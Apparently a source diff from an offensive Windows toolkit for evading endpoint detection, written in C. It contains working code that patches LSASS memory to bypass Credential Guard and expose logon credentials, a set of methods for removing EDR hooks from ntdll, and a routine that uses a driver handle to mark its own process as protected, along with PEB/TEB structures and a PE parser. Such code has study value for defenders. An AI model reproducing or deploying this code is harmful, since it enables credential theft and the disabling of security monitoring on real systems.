DWORD dummy02; //0x00BC
}NtGlobalFlagOrdummy02;
LARGE_INTEGER CriticalSectionTimeout; //0x00C0
QWORD HeapSegmentReserve; //0x00C8
QWORD HeapSegmentCommit; //0x00D0
QWORD HeapDeCommitTotalFreeThreshold; //0x00D8
QWORD HeapDeCommitFreeBlockThreshold; //0x00E0
DWORD NumberOfHeaps; //0x00E8
DWORD MaximumNumberOfHeaps; //0x00EC
QWORD ProcessHeaps; //0x00F0
QWORD GdiSharedHandleTable; //0x00F8
QWORD ProcessStarterHelper; //0x0100
QWORD GdiDCAttributeList; //0x0108
QWORD LoaderLock; //0x0110
DWORD OSMajorVersion; //0x0118
DWORD OSMinorVersion; //0x011C
WORD OSBuildNumber; //0x0120
WORD OSCSDVersion; //0x0122
DWORD OSPlatformId; //0x0124
DWORD ImageSubsystem; //0x0128
DWORD ImageSubsystemMajorVersion; //0x012C
QWORD ImageSubsystemMinorVersion; //0x0130
union
{
QWORD ImageProcessAffinityMask; //0x0138
QWORD ActiveProcessAffinityMask; //0x0138
}ImageProcessAffinityMaskOrActiveProcessAffinityMask;
QWORD GdiHandleBuffer[30]; //0x0140
QWORD PostProcessInitRoutine; //0x0230
QWORD TlsExpansionBitmap; //0x0238
DWORD TlsExpansionBitmapBits[32]; //0x0240
QWORD SessionId; //0x02C0
ULARGE_INTEGER AppCompatFlags; //0x02C8
ULARGE_INTEGER AppCompatFlagsUser; //0x02D0
QWORD pShimData; //0x02D8
QWORD AppCompatInfo; //0x02E0
UNICODE_STRING64 CSDVersion; //0x02E8
QWORD ActivationContextData; //0x02F8
QWORD ProcessAssemblyStorageMap; //0x0300
QWORD SystemDefaultActivationContextData; //0x0308
QWORD SystemAssemblyStorageMap; //0x0310
QWORD MinimumStackCommit; //0x0318
} PEB64; //struct PEB64
//
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
//
typedef struct TEB64
{
BYTE NtTib[56]; //0x0000 / NT_TIB64 structure
PTR64 EnvironmentPointer; //0x0038
CLIENT_ID64 ClientId; //0x0040
PTR64 ActiveRpcHandle; //0x0050
PTR64 ThreadLocalStoragePointer; //0x0058
PTR64 ProcessEnvironmentBlock; //0x0060 / ptr to PEB64
DWORD LastErrorValue; //0x0068
DWORD CountOfOwnedCriticalSections; //0x006C
PTR64 CsrClientThread; //0x0070
PTR64 Win32ThreadInfo; //0x0078
DWORD User32Reserved[26]; //0x0080
DWORD UserReserved[6]; //0x00E8
PTR64 WOW32Reserved; //0x0100
DWORD CurrentLocale; //0x0108
DWORD FpSoftwareStatusRegister; //0x010C
PTR64 SystemReserved1[54]; //0x0110
DWORD ExceptionCode; //0x02C0
PTR64 ActivationContextStackPointer; //0x02C8
} TEB64; //struct TEB64
+64
View File
@@ -0,0 +1,64 @@
#pragma once
#include <Windows.h>
#include "Undoc.h"
#include "PEParser.h"
#include "PEBBrowse.h"
#include <stdio.h>
#include <TlHelp32.h>
#include <DbgHelp.h>
#include <pathcch.h>
typedef struct diff_t {
PVOID disk_ptr;
PVOID mem_ptr;
size_t size;
} diff;
typedef struct hook_t {
PVOID disk_function;
PVOID mem_function;
LPCSTR functionName;
diff* list_patches;
} hook;
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection);
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
OUT LPOSVERSIONINFOEXW lpVersionInformation);
enum unhook_method_e {
UNHOOK_NONE,
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
UNHOOK_WITH_DIRECT_SYSCALL
};
hook* searchHooks(const char* csvFileName);
PVOID hookResolver(PBYTE hookAddr);
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
VOID unhook(hook* hook, DWORD unhook_method);
/*
* Cache for NTDLL PE (accessed often)
*/
PE* ntdllDiskPe_g;
PE* ntdllMemPe_g;
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk);
+38
View File
@@ -0,0 +1,38 @@
/*
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include "Globals.h"
#include "FileVersion.h"
enum WdigestOffsetType {
g_fParameter_UseLogonCredential = 0,
g_IsCredGuardEnabled = 1
};
union WdigestOffsets {
// structure version of wdigest.dll's offsets
struct {
// wdigest.dll's g_fParameter_UseLogonCredential
DWORD64 g_fParameter_UseLogonCredential;
// wdigest.dll's g_IsCredGuardEnabled
DWORD64 g_IsCredGuardEnabled;
} st;
// array version (usefull for code factoring)
DWORD64 ar[2];
};
union WdigestOffsets wdigestOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
@@ -0,0 +1,170 @@
#include "CredGuard.h"
DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
HANDLE hProcessSnap;
HANDLE hLsass;
PROCESSENTRY32 pe32;
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
pe32.th32ProcessID = 0;
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
return 1;
}
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
// Now walk the snapshot of processes, and look for "lsass.exe"
do {
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) == 0) {
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) {
_tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n"));
return 1;
}
// Open an handle to the LSASS process.
hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
return 1;
}
HMODULE hModulesArray[512] = { 0 };
DWORD lpcbNeeded;
if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) {
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
CloseHandle(hLsass);
return 1;
}
BOOL returnStatus = FALSE;
TCHAR szModulename[MAX_PATH];
for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) {
if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, sizeof(szModulename))) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
continue;
}
if (_tcsstr(szModulename, TEXT("wdigest"))) {
MODULEINFO moduleInfo = { 0 };
if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
continue;
}
// Computes the exact address in memory of g_fParameter_UseLogonCredential & g_IsCredGuardEnabled using load lib wdigest base address + known offsets.
DWORD64 wdigestBaseAddress = (DWORD64)moduleInfo.lpBaseOfDll;
DWORD currentValue = 0x0;
DWORD CurrentValueLength = sizeof(DWORD);
SIZE_T bytesRead = 0;
SIZE_T bytesWritten = 0;
/*
* Setting g_fParameter_UseLogonCredential to 0x1.
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
*/
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential;
DWORD useLogonCredentialPatch = 0x1;
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
//if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, &currentValue, CurrentValueLength, &bytesRead)) {
_tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
break;
}
if (currentValue != useLogonCredentialPatch) {
if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) {
ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, &currentValue, CurrentValueLength, &bytesRead);
if (currentValue == useLogonCredentialPatch) {
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
}
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
break;
}
}
else {
_tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n"));
}
_tprintf(TEXT("\n\n"));
/*
* Setting g_IsCredGuardEnabled to 0x0.
* Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch.
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
*/
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled;
DWORD isCredGuardEnabledPatch = 0x0;
currentValue = 0x0;
bytesRead = 0;
bytesWritten = 0;
DWORD oldMemoryProtection = 0x0;
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress);
_tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n"));
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
break;
}
if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, &currentValue, CurrentValueLength, &bytesRead)) {
_tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
break;
}
if (currentValue != isCredGuardEnabledPatch) {
if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) {
ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, &currentValue, CurrentValueLength, &bytesRead);
if (currentValue == isCredGuardEnabledPatch) {
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
}
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
break;
}
}
else {
_tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n"));
}
DWORD newMemoryProtection = 0x0;
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
}
else {
_tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n"));
}
_tprintf(TEXT("\n\n"));
returnStatus = TRUE;
}
}
CloseHandle(hLsass);
return returnStatus;
}
@@ -0,0 +1,106 @@
/*
--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
--- The code to locate the EPROCESS structure is adapted from:
http://blog.rewolf.pl/blog/?p=1683
*/
#include "RunAsPPL.h"
DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
NTSTATUS status;
DWORD currentProcessID = GetCurrentProcessId();
// Open an handle to our own process.
HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID);
if (verbose) {
_tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)selfProcessHandle);
}
// Retrieves the native NtQuerySystemInformation function from ntdll.
HMODULE hNtdll = GetModuleHandle(TEXT("ntdll"));
if (!hNtdll) {
_tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n"));
return 0x0;
}
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
_tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n"));
return 0x0;
}
/*
* Retrieves all the handle table using NtQuerySystemInformation.
* Looping until NtQuerySystemInformation has sufficient space to do so (i.e does not return a STATUS_INFO_LENGTH_MISMATCH).
* Possible alternative to explore woule be to use the ReturnLength returned by NtQuerySystemInformation.
*/
ULONG SystemHandleInformationSize = SystemHandleInformationBaseSize;
PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL;
PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
if (!pHandleTableInformation) {
_tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n"));
return 0x0;
}
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
while (status == STATUS_INFO_LENGTH_MISMATCH) {
SystemHandleInformationSize = SystemHandleInformationSize * 2;
tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize);
if (!tmpHandleTableInformation) {
_tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n"));
return 0x0;
}
pHandleTableInformation = tmpHandleTableInformation;
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
}
if (!NT_SUCCESS(status)) {
_tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n"));
return 0x0;
}
// Iterates through all the handles.
DWORD64 returnAddress = 0x0;
for (DWORD i = 0; i < pHandleTableInformation->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = pHandleTableInformation->Handles[i];
// Only retrieves the handles associated with our own process.
if (handleInfo.UniqueProcessId != currentProcessID) {
continue;
}
if (verbose) {
_tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
}
if (handleInfo.HandleValue == (USHORT)selfProcessHandle) {
_tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
returnAddress = (DWORD64)handleInfo.Object;
}
}
free(pHandleTableInformation);
CloseHandle(selfProcessHandle);
return returnAddress;
}
int SetCurrentProcessAsProtected(BOOL verbose) {
HANDLE Device = GetDriverHandle();
DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose);
if (processEPROCESSAddress == 0x0) {
_tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n"));
CloseHandle(Device);
return -1;
}
_tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
// Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61).
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection;
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection;
UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight));
_tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb);
CloseHandle(Device);
return 0;
}
+80
View File
@@ -0,0 +1,80 @@
#include "Undoc.h"
#include "PEBBrowse.h"
#include <stdio.h>
/*
Get the module entry in the InLoadOrderModuleList given the module name
*/
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
size_t nameSize = wcslen(name);
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
if (!_memicmp(currentModuleEntry->BaseDllName.Buffer, name, sizeof(WCHAR) * nameSize)) {
return currentModuleEntry;
}
}
#ifdef _DEBUG
printf("getModuleEntryFromNameW failed to find module\n");
#endif // _DEBUG
return NULL;
}
/*
Get the module entry in the InLoadOrderModuleList given an address inside it
Assumes : the address belong to a module
Returns : the module it should belong to
*/
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr) {
LDR_DATA_TABLE_ENTRY* closest = NULL;
uintptr_t distance = (uintptr_t)-1;
for (LDR_DATA_TABLE_ENTRY* ptr = getNextModuleEntryInLoadOrder(NULL); ptr != NULL; ptr = getNextModuleEntryInLoadOrder(ptr)) {
if (ptr->DllBase <= addr && ((uintptr_t)addr - (uintptr_t)ptr->DllBase) < distance) {
distance = ((uintptr_t)addr - (uintptr_t)ptr->DllBase);
closest = ptr;
}
}
return closest;
}
/*
Returns the next module entry in the InLoadOrderModuleList
Assumes : curr is a ptr to a module entry in the list or NULL
Returns :
* if curr is non-NULL:
* A pointer to the next entry in the list, or
* A NULL pointer, if end of the list is reached
* if curr is NULL
* A pointer to the first element of the list
*/
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr) {
LDR_DATA_TABLE_ENTRY* start = (LDR_DATA_TABLE_ENTRY*)getPEB()->Ldr->InLoadOrderModuleList.Flink;
if (curr == NULL) {
return start;
}
LDR_DATA_TABLE_ENTRY* next = (LDR_DATA_TABLE_ENTRY*)curr->InLoadOrderLinks.Flink;
if (next == start) {
return NULL;
}
return next;
}
#if _WIN64
PEB64* getPEB() {
return (PEB64*)__readgsqword(0x60);
}
TEB64* getTEB() {
return (TEB64*)__readgsqword(0x30);
}
#else
PEB* getPEB() {
return (PEB*)__readfsdword(0x30);
}
TEB* getTEB() {
return (TEB*)__readfsdword(0x18);
}
#endif
+363
View File
@@ -0,0 +1,363 @@
#include "PEParser.h"
#include <stdio.h>
#include <assert.h>
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva) {
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
for (DWORD sectionIndex = 0; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
DWORD currSectionVA = sectionHeaders[sectionIndex].VirtualAddress;
DWORD currSectionVSize = sectionHeaders[sectionIndex].Misc.VirtualSize;
if (currSectionVA <= rva && rva < currSectionVA + currSectionVSize) {
return &sectionHeaders[sectionIndex];
}
}
return NULL;
}
/*
Get the next section header having the given memory access permissions, after the provided section headers "prev".
Exemple : PE_nextSectionHeader_fromPermissions(pe, textSection, 1, -1, 0) returns the first section header in the list after "textSection" that is readable and not writable.
Returns NULL if no section header is found.
*/
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable) {
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
DWORD firstSectionIndex = prev == NULL ? 0 : (DWORD)((prev + 1) - sectionHeaders);
for (DWORD sectionIndex = firstSectionIndex; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
DWORD sectionCharacteristics = sectionHeaders[sectionIndex].Characteristics;
if (readable != 0) {
if (sectionCharacteristics & IMAGE_SCN_MEM_READ) {
if (readable == -1) {
continue;
}
}
else {
if (readable == 1) {
continue;
}
}
}
if (writable != 0) {
if (sectionCharacteristics & IMAGE_SCN_MEM_WRITE) {
if (writable == -1) {
continue;
}
}
else {
if (writable == 1) {
continue;
}
}
}
if (executable != 0) {
if (sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE) {
if (executable == -1) {
continue;
}
}
else {
if (executable == 1) {
continue;
}
}
}
return &sectionHeaders[sectionIndex];
}
return NULL;
}
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva) {
PVOID peBase = pe->dosHeader;
if (pe->isMemoryMapped) {
return (PBYTE)peBase + rva;
}
IMAGE_SECTION_HEADER* rvaSectionHeader = PE_sectionHeader_fromRVA(pe, rva);
if (NULL == rvaSectionHeader) {
return NULL;
}
else {
return (PBYTE)peBase + rvaSectionHeader->PointerToRawData + (rva - rvaSectionHeader->VirtualAddress);
}
}
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr) {
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
PVOID sectionAddr = PE_RVA_to_Addr(pe, sectionVA);
if (sectionAddr <= addr && addr < (PVOID)((intptr_t)sectionAddr + (intptr_t)sectionSize)) {
intptr_t relativeOffset = ((intptr_t)addr - (intptr_t)sectionAddr);
assert(relativeOffset <= MAXDWORD);
return sectionVA + (DWORD)relativeOffset;
}
}
return 0;
}
VOID PE_parseRelocations(PE* pe) {
IMAGE_BASE_RELOCATION* relocationBlocks = PE_RVA_to_Addr(pe, pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
IMAGE_BASE_RELOCATION* relocationBlockPtr = relocationBlocks;
IMAGE_BASE_RELOCATION* nextRelocationBlockPtr;
pe->nbRelocations = 0;
DWORD relocationsLength = 16;
pe->relocations = calloc(relocationsLength, sizeof(PE_relocation));
if (NULL == pe->relocations)
exit(1);
while (((size_t)relocationBlockPtr - (size_t)relocationBlocks) < pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) {
IMAGE_RELOCATION_ENTRY* relocationEntry = (IMAGE_RELOCATION_ENTRY*)&relocationBlockPtr[1];
nextRelocationBlockPtr = (IMAGE_BASE_RELOCATION*)(((PBYTE)relocationBlockPtr) + relocationBlockPtr->SizeOfBlock);
while ((PBYTE)relocationEntry < (PBYTE)nextRelocationBlockPtr) {
DWORD relocationRVA = relocationBlockPtr->VirtualAddress + relocationEntry->Offset;
if (pe->nbRelocations >= relocationsLength) {
relocationsLength *= 2;
void* pe_relocations = pe->relocations;
assert(NULL != pe_relocations);
pe->relocations = realloc(pe_relocations, relocationsLength * sizeof(PE_relocation));
assert(NULL != pe->relocations);
}
pe->relocations[pe->nbRelocations].RVA = relocationRVA;
pe->relocations[pe->nbRelocations].Type = relocationEntry->Type;
pe->nbRelocations++;
relocationEntry++;
}
relocationBlockPtr = nextRelocationBlockPtr;
}
void* pe_relocations = pe->relocations;
assert(pe_relocations != NULL);
pe->relocations = realloc(pe_relocations, pe->nbRelocations * sizeof(PE_relocation));
if (NULL == pe->relocations)
exit(1);
}
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
{
DWORD* relocDwAddress;
QWORD* relocQwAddress;
if (pe->isMemoryMapped) {
printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
return;
}
if (NULL == pe->relocations) {
PE_parseRelocations(pe);
}
assert(pe->relocations != NULL);
PVOID oldBaseAddress = pe->baseAddress;
pe->baseAddress = newBaseAddress;
for (DWORD i = 0; i < pe->nbRelocations; i++) {
switch (pe->relocations[i].Type) {
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_HIGHLOW:
relocDwAddress = (DWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
assert(relativeOffset <= MAXDWORD);
*relocDwAddress += (DWORD)relativeOffset;
break;
case IMAGE_REL_BASED_DIR64:
relocQwAddress = (QWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
break;
default:
printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
exit(1);
}
}
return;
}
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
PE* pe = calloc(1, sizeof(PE));
if (NULL == pe) {
exit(1);
}
pe->isMemoryMapped = isMemoryMapped;
pe->isInAnotherAddressSpace = FALSE;
pe->hProcess = INVALID_HANDLE_VALUE;
pe->dosHeader = imageBase;
pe->ntHeader = (IMAGE_NT_HEADERS*)(((PBYTE)imageBase) + pe->dosHeader->e_lfanew);
pe->optHeader = &pe->ntHeader->OptionalHeader;
if (isMemoryMapped) {
pe->baseAddress = imageBase;
}
else {
pe->baseAddress = (PVOID)pe->optHeader->ImageBase;
}
pe->dataDir = pe->optHeader->DataDirectory;
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)(((PBYTE)pe->optHeader) + pe->ntHeader->FileHeader.SizeOfOptionalHeader);
DWORD exportRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportRVA == 0) {
pe->exportDirectory = NULL;
pe->exportedNames = NULL;
pe->exportedFunctions = NULL;
pe->exportedOrdinals = NULL;
}
else {
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
pe->exportedNames = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNames);
pe->exportedFunctions = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfFunctions);
pe->exportedOrdinals = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNameOrdinals);
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
}
pe->relocations = NULL;
return pe;
}
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
PE* pe = calloc(1, sizeof(PE));
if (NULL == pe) {
exit(1);
}
pe->isMemoryMapped = TRUE;
pe->hProcess = hProcess;
pe->isInAnotherAddressSpace = TRUE;
pe->baseAddress = imageBase;
pe->dosHeader = imageBase;
DWORD ntHeaderPtrAddress = 0;
ReadProcessMemory(hProcess, (LPCVOID)((intptr_t)imageBase + offsetof(IMAGE_DOS_HEADER, e_lfanew)), &ntHeaderPtrAddress, sizeof(ntHeaderPtrAddress), NULL);
pe->ntHeader = (IMAGE_NT_HEADERS*)((intptr_t)pe->baseAddress + ntHeaderPtrAddress);
pe->optHeader = (IMAGE_OPTIONAL_HEADER*)(&pe->ntHeader->OptionalHeader);
